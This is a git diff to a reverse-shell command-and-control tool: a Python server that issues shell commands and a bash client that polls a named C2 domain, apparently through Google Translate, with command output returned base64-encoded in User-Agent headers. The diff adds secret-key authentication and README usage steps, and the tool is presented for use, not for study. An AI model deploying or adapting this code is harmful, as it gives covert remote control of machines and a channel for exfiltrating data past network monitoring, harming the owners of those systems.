diff --git a/README.md b/README.md index d53c858..0750742 100644 --- a/README.md +++ b/README.md @@ -12,10 +12,12 @@ First you need a VPS and a domain, for the domain you can get a free one on [Fre Start the server.py on your VPS ```bash python2.7 server.py +Server running on port: 80 +Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062 ``` -Execute the client on a computer with access to [Google Translator](https://translate.google.com). +It will provide you secret key which will be used on the client.sh, run the client on a computer with access to [Google Translator](https://translate.google.com), providing the secret key generated by the server. ```bash -bash client.sh +bash client.sh e294a11e-bb6f-49ed-b03a-9ec42be55062 ``` Now you have an interactive shell using named pipe files, **YES** you can `cd` into directories. diff --git a/client.sh b/client.sh index 1c48d53..82802cc 100755 --- a/client.sh +++ b/client.sh @@ -1,8 +1,14 @@ #!/bin/bash +set -x +if [ -z "$1" ]; then + echo -e "Error\nExecute: $0 secretkey-provided-by-the-server\n" + exit 1 +fi running=true +secretkey="$1" user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" -c2server="http://www.dedonocuegritaria.ml/" +c2server="http://www.dedonocuegritaria.ml/?key=$secretkey" result="" input="/tmp/input" output="/tmp/output" diff --git a/server.py b/server.py index ca989f7..f91a504 100644 --- a/server.py +++ b/server.py @@ -1,26 +1,35 @@ #!/usr/bin/python +from uuid import uuid4 from urlparse import urlparse, parse_qs from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer serverPort = 80 +secretkey = str(uuid4()) class webServer(BaseHTTPRequestHandler): def do_GET(self,): useragent = self.headers.get('User-Agent').split('|') - self.send_response(200) + querydata = parse_qs(urlparse(self.path).query) + if 'key' in querydata: + if querydata['key'][0] == secretkey: + self.send_response(200) + self.send_header("Content-type","text/html") + self.end_headers() + + if len(useragent) == 2: + response = useragent[1].split(',')[0] + print(response.decode("base64")) + self.wfile.write("") + return + cmd = raw_input("$ ") + self.wfile.write("{}".format(cmd)) + return + self.send_response(404) self.send_header("Content-type","text/html") self.end_headers() - - query_components = parse_qs(urlparse(self.path).query) - if len(useragent) == 2: - response = useragent[1].split(',')[0] - print(response.decode("base64")) - self.wfile.write("") - return - cmd = raw_input("$ ") - self.wfile.write("{}".format(cmd)) + self.wfile.write("Not Found") return def log_message(self, format, *args): @@ -29,6 +38,7 @@ def log_message(self, format, *args): try: server = HTTPServer(("", serverPort), webServer) print("Server running on port: {}".format(serverPort)) + print("Secret Key: {}".format(secretkey)) server.serve_forever() except KeyboardInterrupt: server.socket.close()